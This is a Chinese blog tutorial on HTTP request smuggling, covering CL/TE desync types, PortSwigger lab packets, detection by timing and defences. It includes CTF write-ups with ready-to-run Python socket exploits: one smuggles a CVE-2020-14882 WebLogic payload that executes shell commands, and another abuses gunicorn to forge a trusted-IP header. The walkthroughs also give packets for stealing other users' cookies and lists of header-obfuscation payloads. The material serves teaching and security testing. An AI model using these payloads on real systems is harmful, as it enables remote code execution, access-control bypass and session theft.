当前位置: 首页 > news >正文

http请求走私漏洞原理,利用,检测,防护

目录

什么是请求走私

漏洞成因与常见类型 

Keep-Alive&Pipeline

CL&TE

常见走私类型

1.CL不为0

2.CL CL

3.CL TE

4.TE CL 

5.TE TE

走私攻击应用实例(漏洞利用)

使用CL TE走私获取其他用户的请求、Cookie

2.泄露请求头重写请求实现未授权访问

3.其它应用

CTF实战利用

GKCTF2021[hackme]

最终exp

RCTF2019[esay calc]

常规绕waf

走私绕waf

CL CL

CL TE 

ISCC2022[让我康康!]

分析与利用

最终exp

如何检测HTTP走私漏洞

1、延时技术(CL-TE漏洞)

2、延时技术(TE-CL漏洞)

防护措施


什么是请求走私

当今的web架构中,单纯的一对一客户端---服务端结构已经逐渐过时。为了更安全的处理客户端发来的请求,服务端会被分为两部分:前端服务器与后端服务器。前端服务器(例如代理服务器)负责安全控制,只有被允许的请求才能转发给后端服务器,而后端服务器无条件的相信前端服务器转发过来的全部请求,并对每一个请求都进行响应。但是在这个过程中要保证前端服务器与后端服务器的请求边界设定一致,如果前后端服务器对请求包处理出现差异,那么就可能导致攻击者通过发送一个精心构造的http请求包,绕过前端服务器的安全策略直接抵达后端服务器访问到原本禁止访问的服务或接口,这就是http请求走私。

听起来是不是有点像SSRF?不过SSRF与HTTP请求走私是有差别的,SSRF是直接利用内网机器来访问内网资源,但请求走私不是。用一张portswigger报告中经典的图来理解一下,有一种夹带私货的感觉,或许这就是被称为走私漏洞的原因吧:

漏洞成因与常见类型 

http请求走私攻击比较特殊,它不像常规的web漏洞那样直观。它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。因此,对同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了安全风险。

在学习之前我们先了解一下HTTP1.1中使用最为广泛的两种特性:Keep-Alive&Pipeline

Keep-Alive&Pipeline

所谓Keep-Alive,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1中是默认开启的

有了Keep-Alive之后,后续就有了Pipeline,在这里呢,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。

如今,浏览器默认是不启用Pipeline的,但是一般的服务器都提供了对Pipleline的支持。

CL&TE

CL 和 TE 即是 Content-Length 和 Transfer-Encoding 请求头(严格来讲前者是个实体头,为了方便就都用请求头代指)。这里比较有趣的是 Transfer-Encoding(HTTP/2 中不再支持),指定用于传输请求主体的编码方式,可以用的值有 chunked/compress/deflate/gzip/identity ,完整的定义在 Transfer-Encoding#Directives 和 rfc2616#section-3.6

CL好理解,对于TE我们重点关注chunked。当我们设置TE为chunked时,CL就会被省略。为了区分chunk的边界,我们需要在每个chunk前面用16进制数来表示当前chunk的长度,后面加上\r\n,再后面就是chunk的内容,然后再用\r\n来代表chunk的结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer,由 0 或多个实体头组成,可以用来存放对数据的数字签名等。譬如下面这个例子:

 POST / HTTP/1.1
 Host: example.com
 Content-Type: application/x-www-form-urlencoded
 Transfer-Encoding: chunked

 b //chunk_size
 q=smuggling
 6
 hahaha
 0 //end
 [blank]
 [blank]

另外要注意\r\n占2字节,我们在计算长度的时候很容易把它们忽略。最后把请求包以字节流形式表述出来就是:

POST / HTTP/1.1\r\nHost: 1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nq=smuggling\r\n6\r\nhahaha\r\n0\r\n\r\n

常见走私类型

1.CL不为0

如果前端代理服务器允许GET携带请求体,而后端服务器不允许GET携带请求体,后端服务器就会直接忽略掉GET请求中的Content-Length头,这就有可能导致请求走私。

例如我们构造出:

 GET / HTTP/1.1\r\n
 Host: example.com\r\n
 Content-Length: 43\r\n

 GET / admin HTTP/1.1\r\n
 Host: example.com\r\n
 \r\n

在前端服务器看来它是一个请求,但是在后端服务器来看它就是:

 //第一个请求
 GET / HTTP/1.1\r\n
 Host: example.com\r\n

 //第二个请求
 GET / admin HTTP/1.1\r\n
 Host: example.com\r\n

2.CL CL

在RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。

RFC 7230: Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing

但是很明显这并非是强制的,如果服务器不遵守安全规定在服务器收到多个CL不相同的请求时不返回400错误,那么就可能会导致请求走私。

我们假设前端服务器按照第一个CL处理而后端服务器按照第二个CL,构造出如下HTTP包:

 POST / HTTP/1.1\r\n
 Host: example.com\r\n
 Content-Length: 8\r\n
 Content-Length: 7\r\n

 12345\r\n
 a

前端代理服务器收到的请求通过第一个CL判断body为8字节,随后将包发送给后端源服务器;源服务器收到请求通过第二个CL判断body为7字节,这时候最后一个字节 b'a'就会被遗留在源服务器缓存器。由于前后端服务器一般是宠用TCP连接,假设此时正常用户向服务器发送了正常的数据包,如下:

 GET / HTTP/1.1\r\n
 Host: example.com\r\n

这时残留在缓存中的一个字节就会被添加到这个正常的请求前端变成:

 aGET / HTTP/1.1\r\n
 Host: example.com\r\n

导致了请求走私,正常数据包被篡改。

但很明显这种情况过于“巧合”应该很难遇见,存在两个CL的包一般服务器都不会接受,在RFC2616的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length,这就意味着我们可以在头部同时包含这两种请求头,相比这下这种方式更现实一些。

3.CL TE

所谓CL TE就是前置服务器认为 Content-Length 优先级更高(或者说根本就不支持 Transfer-Encoding ) ,后端服务器认为 Transfer-Encoding 优先级更高。

我们可以构造出body中带有字节 0的请求包,前端服务器通过CL判断这是一个正常的数据包并转发给后端,后端服务器使用TE就会把字节0后的数据滞留到缓冲区,并且与下一次的正常请求进行拼接,这里用一下portswigger团队的lab作为实验:

Lab: HTTP request smuggling, basic CL.TE vulnerability | Web Security Academy

构造如下请求包:

 POST / HTTP/1.1\r\n
 Host: ac721f8e1fcb0119c0b98800005c0061.web-security-academy.net\r\n
 Cookie: session=ehzpRrrgyPHDRJtSnaWLcZ0fstSXLWiC\r\n
 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"\r\n
 Sec-Ch-Ua-Mobile: ?0\r\n
 Sec-Ch-Ua-Platform: "Windows"\r\n
 Upgrade-Insecure-Requests: 1\r\n
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r\n
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n
 Sec-Fetch-Site: none\r\n
 Sec-Fetch-Mode: navigate\r\n
 Sec-Fetch-User: ?1\r\n
 Sec-Fetch-Dest: document\r\n
 Accept-Encoding: gzip, deflate\r\n
 Accept-Language: zh-CN,zh;q=0.9\r\n
 Connection: close\r\n
 Content-Length: 10\r\n
 Transfer-Encoding:chunked\r\n
 \r\n
 0\r\n
 \r\n
 A\r\n
 \r\n

连续发送几次就会发现字母A被拼接到了下一请求中,导致了请求走私,当然也会报错。

4.TE CL 

TE CL与CL TE正好相反,假如前端服务器处理TE请求头,而后端服务器处理CL请求头,我们同样可以构造恶意数据包完成走私攻击;依旧使用portswigger的lab:

Lab: HTTP request smuggling, basic TE.CL vulnerability | Web Security Academy

我们构造出如下请求:

 POST / HTTP/1.1
 Host: ac901ff41f9aa7fdc0ce7b16001000db.web-security-academy.net
 Cookie: session=MrJkkUD4dyxv9gzzgERPtb56d0cCo79Z
 Cache-Control: max-age=0
 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
 Sec-Ch-Ua-Mobile: ?0
 Sec-Ch-Ua-Platform: "Windows"
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Sec-Fetch-Site: cross-site
 Sec-Fetch-Mode: navigate
 Sec-Fetch-User: ?1
 Sec-Fetch-Dest: document
 Referer: https://portswigger.net/
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9
 Connection: close
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 4
 Transfer-Encoding: chunked

 12
 WPOST / HTTP/1.1

 0

多次发送后发现:

WPOST被拆分了出来,重点关注body部分 

 \r\n
 12\r\n
 WPOST / HTTP/1.1\r\n
 \r\n
 0\r\n
 \r\n

前端处理TE读取到0\r\n\r\n之后就认为读取完毕发送给后端,而后端处理CL只读取4字节\r\n12就认为数据包结束,这时候剩下的WPOST / HTTP/1.1\r\n\r\n0\r\n\r\n就被认为是另一个请求,因此发生了请求报错。

5.TE TE

TE-TE:前置和后端服务器都支持 Transfer-Encoding,但通过混淆能让它们在处理时产生分歧。

lab:

Lab: HTTP request smuggling, obfuscating the TE header | Web Security Academy

构造出如下请求包:

 POST / HTTP/1.1
 Host: ace41f161f1a1382c0814ee300db0086.web-security-academy.net
 Cookie: session=nqskpdP0aWuG4GW5xlYYxEUVulcJC6vG
 Cache-Control: max-age=0
 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
 Sec-Ch-Ua-Mobile: ?0
 Sec-Ch-Ua-Platform: "Windows"
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Sec-Fetch-Site: cross-site
 Sec-Fetch-Mode: navigate
 Sec-Fetch-User: ?1
 Sec-Fetch-Dest: document
 Referer: https://portswigger.net/
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9
 Connection: close
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 4
 Transfer-Encoding:chunked //两种TE造成混淆
 Transfer-Encoding:cow

 5c
 WPOST / HTTP/1.1
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 15

 x=1
 0

多次发送后:

可以看到这里我们采用了:

 Transfer-Encoding:chunked\r\n
 Transfer-Encoding:cow\r\n

除了这种混淆方式,除了这些portswigger团队还给出了其它可用于TE混淆的payload:

 Transfer-Encoding: xchunked
 Transfer-Encoding[空格]: chunked
 Transfer-Encoding: chunked
 Transfer-Encoding: x
 Transfer-Encoding:[tab]chunked
 [空格]Transfer-Encoding: chunked
 X: X[\n]Transfer-Encoding: chunked
 Transfer-Encoding
 : chunked

走私攻击应用实例(漏洞利用)

使用CL TE走私获取其他用户的请求、Cookie

lab:

https://ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net/

打开页面是blog,用户可以在页面发表评论,由于前后端服务器的请求头处理差异导致我们可以利用CL TE获取其它用户的请求头,譬如我们构造出如下请求:

 POST / HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
 Content-Length: 333
 Transfer-Encoding:chunked
 Content-Type: application/x-www-form-urlencoded

 0

 POST /post/comment HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
 Content-Length: 700
 Content-Type: application/x-www-form-urlencoded

csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring

前端服务器使用CL验证,获取CL为333后判定这是一个正常的请求并发送给后端,而后端服务器通过TE的结尾表标识0\r\n\r\n认为前半部分是一个正常的请求,而后半部分:

   POST /post/comment HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
 Content-Length: 700
 Content-Type: application/x-www-form-urlencoded

 csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring

因为Pipeline的存在被放置在了缓存区。如果这时另一个正常用户也发来了一段评论,那么这个请求会被拼接到滞留在缓存区的请求后面构成一个新的请求:

 POST /post/comment HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
 Content-Length: 700
 Content-Type: application/x-www-form-urlencoded
 csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=springPOST /post/comment HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=ashAwdweas.......

这时候我们就发现请求头被拼接到了comment的后面然后被当作comment返回,这样我们就可能通过获取到其他用户的Cookie。

在lab中我们要不断第二个CL的大小,调整至合适大小才有可能正常泄露出来;我从700开始服务器报500,但不知道是哪里出了问题响应一直超时:

不过原理还是很好理解,大家可以自己去试一试,有点玄学。 

2.泄露请求头重写请求实现未授权访问

前面我们提到,前端服务器的作用之一就是过滤外界用户对于未授权接口的访问,一般前端用户收到一段请求后,会在包里添加一些请求头例如:

用户的session等会话ID。

XFF头用于显示用户IP,当然一般不会是X-Forwarded-For因为很容易被猜到。

用户指纹信息、token等。

如果我们能泄露这些前端服务器向后端服务器中继发送的请求中的请求头,那么我们就可以伪造出前端服务器的请求包来完成对敏感接口的未授权访问,实现一些恶意操作。

那么问题来了,我们如何能获取到前端服务器发送到后端服务器的请求头呢?其实不难想,如果服务器能对我们输入的POST参数,即body部分响应输出,然后我们构造一个普通的请求放在body后面,前端服务器接收到之后就会对我们添加的请求进行重写,如果我们的指定Content-Length为较大的值就会把前端服务器重写时添加的重要字段给泄露出来拼接到body后面,随后后端服务器会将其与响应一并返回。

这么讲可能还是有些抽象,我们拿lab来举例:

https://acbc1f4d1e121980c02b64d600c40022.web-security-academy.net/

构造出如下请求包:

 POST / HTTP/1.1
 Host: acbc1f4d1e121980c02b64d600c40022.web-security-academy.net
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
 Cookie: session=RcsAYo8SoCQx0bwXn0oG0G1RkLNPHuz4
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 77
 Transfer-Encoding:chunked

 0

 POST / HTTP/1.1
 Content-Length:70
 Connection:close

 search=111

多发送几次我们会发现成功泄露出来XFF头信息:

我们简单捋一下过程便于理解,首先前端服务器通过CL判断出这是一个完整的请求并转发给后端服务器,后端服务器通过TE将0字节标识前的部分正常处理,后半部分也被看作是一次正常的请求但被滞留在缓存区,同时由于我们设置的CL是超过实际长度,缓存区就会等待下一次正常请求,也就是前端服务器发来的新请求截取其部分请求头放在请求参数后面凑够CL后一并返回。

我们走私到后端服务器被滞留在缓存区的请求是:

 POST / HTTP/1.1
 Content-Length:70
 Connection:close

 search=111

 后端服务器接收到新请求并拼接在search之后是:

 POST / HTTP/1.1
 Content-Length:70
 Connection:close

 search=111 POST / HTTP/1.1 X-TsINOz-Ip: 117.136.5.78 Host:......

最后后端服务器就会将信息响应返回。

3.其它应用

除了这两种还有一些利用方式:

反射型 XSS 组合拳

将 on-site 重定向变为开放式重定向

缓存投毒

缓存欺骗

这些@mengchen师傅在知道创宇404发的paper里都有实验讲解,感兴趣的可以去看一看。(paper链接在文末)

CTF实战利用

GKCTF2021[hackme]

这道题目首先是需要nosql注入爆出密码,然后登陆获得任意文件读取功能,前半部分我们暂且忽略,我们重点关注后半部分。

读取nginx配置文件发现后端存在weblogic服务:

同时注意到nginx版本为1.17.6,存在请求走私: 

假如我们构造: 

 GET /a HTTP/1.1
 Host: localhost
 Content-Length: 56
 GET /_hidden/index.html HTTP/1.1
 Host: notlocalhost

那么nginx会把这两个请求都执行,这就会造成请求走私。可参考:

HTTP请求走私攻击-学习笔记 | V0W's Blog

针对这道题目我们构造出如下请求包:

 GET /test HTTP/1.1
 Host: node4.buuoj.cn:27230
 Content-Length: 0
 Transfer-Encoding: chunked

 GET /console/login/LoginForm.jsp HTTP/1.1
 Host: weblogic

响应包中包含了weblogic的版本信息:

WebLogic Server Version: 12.2.1.4.0

版本正好契合CVE-2020-14882,我们直接拿socket去打就可以拿到flag。

最终exp

来源于https://www.lemonprefect.cn的博客

 import socket

 sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sSocket.connect(("node4.buuoj.cn", 26319))
 payload = b'''HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1\r\nHost:weblogic\r\ncmd: /readflag\r\n\r\n'''
 sSocket.send(payload)
 sSocket.settimeout(2)
 response = sSocket.recv(2147483647)
 while len(response) > 0:
print(response.decode())
try:
response = sSocket.recv(2147483647)
except:
break
 sSocket.close()

RCTF2019[esay calc]

常规绕waf

首先查看源码根据提示来到calc.php

代码对特殊字符进行了一些过滤,注意到最后代码执行,我们传入: 

calc.php?num=;)phpinfo();//

执行后发现:

明显是有waf不合法请求,有一种做法是参数前面加空格使服务器无法解析绕waf,再用ascii转码读文件:

? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

走私绕waf

注意到只要能让前端服务器报错我们就能突破前端waf限制;所以事实上我们还可以利用走私攻击绕waf,而且前面四种方式都是有效的,这里举两个例子,剩下几种大家可以自行尝试:

注意下面的请求中num前没有空格了。

CL CL

CL TE 

ISCC2022[让我康康!]

分析与利用

如果直接访问flag会爆403:

我们通过相应包的头部发现了gunicorn20.0,经查阅版本存在请求走私,具体可参考: 

grenfeldt.dev

通过给出的POC我们编写脚本成功实现请求走私,看到要求很明显是需要获取前端服务器请求头的来源IP名称来伪造本地访问获取flag:

那么我的思路就是多次发送请求,并且设置前一个请求的CL为超过实际请求体的较大数值;由于后端服务器设置Keep-Alive,所以它会误认为请求没有发送完毕,会继续等待;而这时候我们再给前端服务器发送一个请求,前端服务器就会把带有来源IP头部的http包发送给后端服务器,后端服务器接收足够上一包内CL的时候就会把这个泄露敏感凭证的包一并返回给客户端,从而造成了敏感信息泄露。

其实思路与上面讲到的应用实例2一样,只不过gunicorn20.0的走私漏洞是由于默认Sec-Websocket-Key的配置导致后端服务器会以xxxxxxxx为标识位,这就导致xxxxxxxx后面的部分会滞留在缓存区,可以认为是一种变种的CL TE走私。

我们可以通过burp直接构造请求,但是由于Content-Length需要我们自定义,比如第一个Content-Length仅仅是计算到第一个手动添加的POST请求,所以构造的时候要额外小心。

当然我们直接写脚本拿socket发更直观。

最终exp

 import socket

 secret_payload=b'''POST / HTTP/1.1\r
 Host: 59.110.159.206:7020\r
 Content-Length: 149\r
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
 Content-Type: application/x-www-form-urlencoded\r
 Sec-Websocket-Key1:x\r
 \r
 xxxxxxxxPOST / HTTP/1.1\r
 Host:127.0.0.1\r
 secr3t_ip: 127.0.0.1\r
 Content-Length: 150\r
 Content-Type: application/x-www-form-urlencoded\r
 \r
 search=abc\r
 \r
 POST / HTTP/1.1\r
 Content-Length: 14\r
 Content-Type: application/x-www-form-urlencoded\r
 \r
 search=111\r
 \r
 '''

 final_payload=b'''POST / HTTP/1.1\r
 Host: 59.110.159.206:7020\r
 Content-Length: 152\r
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r
 Content-Type: application/x-www-form-urlencoded\r
 Sec-Websocket-Key1:x\r
 \r
 xxxxxxxxGET /fl4g HTTP/1.1\r
 Host:127.0.0.1\r
 secr3t_ip: 127.0.0.1\r
 Content-Length: 150\r
 Content-Type: application/x-www-form-urlencoded\r
 \r
 search=abc\r
 \r
 POST / HTTP/1.1\r
 Content-Length: 14\r
 Content-Type: application/x-www-form-urlencoded\r
 \r
 search=111\r
 \r
 '''
 test1 = b'''POST / HTTP/1.1\r
 Host: 127.0.0.1\r
 Content-Length: 67\r
 Sec-Websocket-Key1:x\r
 \r
 xxxxxxxxGET /fl4g HTTP/1.1\r
 Host:127.0.0.1\r
 Content-Length: 123\r
 \r
 GET / HTTP/1.1\r
 Host: 127.0.0.1\r
 \r
 '''
 test2=b'''POST / HTTP/1.1
 Host: 59.110.159.206:7020
 Content-Length: 10
 Content-Type: application/x-www-form-urlencoded

 search=123'''

 sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sSocket.connect(("59.110.159.206", 7020))


 def send(payload):
print(payload)
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:
print(response.decode())
try:
response = sSocket.recv(2147483647)
except:
break
sSocket.close()

 if __name__ == '__main__':
send(final_payload)

如何检测HTTP走私漏洞

1、延时技术(CL-TE漏洞)

POST / HTTP/1.1
Host: example.net
Transfer-Encoding: chunked
Content-Length: 4
 
1
a
b

解释:代理服务器使用了CL为4的长度时,它就只会转发4个字节长度的内容,会把b丢弃,而后端使用TE,遇到0/r/n/r/n,才会终止,但是一直等不到0\r\n\r\n,就会一直等待直到超时。

2、延时技术(TE-CL漏洞)

POST / HTTP/1.1
Host: example.net
Transfer-Encoding: chunked
Content-Length: 9
 
0
 
qwer

代理服务器时TE,他开始就遇到0\r\n\r\n,直接把qwer丢弃,然后将数据包发送给后端,后端用的是CL,要9个字节长度内容才会终止,等不到就一直等,直到响应超时。

防护措施

1、禁用代理服务器和后端服务器之间的TCP连接重用(但这样会加大服务器的压力)。

2、使用HTTP/2协议。

3、前后端服务器配置相同。

4、严格的实现RFC7230-7235中所规定的的标准。

相关文章:

  • simulink中比scope模块还好用的平替出图工具?
  • 微信小程序和H5之间互相跳转、互相传值
  • web前端期末大作业 html+css家乡旅游主题网页设计 湖北武汉家乡介绍网页设计实例
  • PS-HDR图像编辑与应用
  • 2022亚太杯C题思路代码分析
  • 涨知识!Python 的异常信息还能这样展现
  • JDBC编程
  • HTML+CSS期末大作业 中国传统美食网站设计 节日美食13页 html5网页设计作业代码 html制作网页案例代码 html大作业网页代码
  • 基于Java+Spring+Vue+elementUI大学生求职招聘系统详细设计实现
  • matlab在管理学中的应用简matlab基础【二】
  • 【安装Ubuntu18.04遇到的问题】未找到WIFI适配器
  • 发明专利与实用新型专利的不同
  • 【Educoder作业】CC++数组实训
  • Qt+Win10使用QAxWidget控件实现远程桌面控制
  • java毕业设计现有传染病查询系统mybatis+源码+调试部署+系统+数据库+lw
  • Angular6错误 Service: No provider for Renderer2
  • Cumulo 的 ClojureScript 模块已经成型
  • Fundebug计费标准解释:事件数是如何定义的?
  • GitUp, 你不可错过的秀外慧中的git工具
  • JavaScript工作原理(五):深入了解WebSockets,HTTP/2和SSE,以及如何选择
  • JS 面试题总结
  • Python代码面试必读 - Data Structures and Algorithms in Python
  • React-flux杂记
  • spark本地环境的搭建到运行第一个spark程序
  • v-if和v-for连用出现的问题
  • VUE es6技巧写法(持续更新中~~~)
  • 短视频宝贝=慢?阿里巴巴工程师这样秒开短视频
  • 开源中国专访:Chameleon原理首发,其它跨多端统一框架都是假的?
  • 使用 Node.js 的 nodemailer 模块发送邮件(支持 QQ、163 等、支持附件)
  • 网页视频流m3u8/ts视频下载
  • 运行时添加log4j2的appender
  • - 转 Ext2.0 form使用实例
  • 摩拜创始人胡玮炜也彻底离开了,共享单车行业还有未来吗? ...
  • ​一些不规范的GTID使用场景
  • (13):Silverlight 2 数据与通信之WebRequest
  • (附源码)php新闻发布平台 毕业设计 141646
  • (六)vue-router+UI组件库
  • (七)微服务分布式云架构spring cloud - common-service 项目构建过程
  • (转)Google的Objective-C编码规范
  • .NET / MSBuild 扩展编译时什么时候用 BeforeTargets / AfterTargets 什么时候用 DependsOnTargets?
  • .NET CF命令行调试器MDbg入门(二) 设备模拟器
  • .net开源工作流引擎ccflow表单数据返回值Pop分组模式和表格模式对比
  • .NET中 MVC 工厂模式浅析
  • /proc/stat文件详解(翻译)
  • /var/log/cvslog 太大
  • ?php echo ?,?php echo Hello world!;?
  • @Autowired @Resource @Qualifier的区别
  • @DateTimeFormat 和 @JsonFormat 注解详解
  • @EnableAsync和@Async开始异步任务支持
  • [1204 寻找子串位置] 解题报告
  • [2013][note]通过石墨烯调谐用于开关、传感的动态可重构Fano超——
  • [2016.7 test.5] T1
  • [CLR via C#]11. 事件
  • [c语言]小课堂 day2
  • [HNOI2006]鬼谷子的钱袋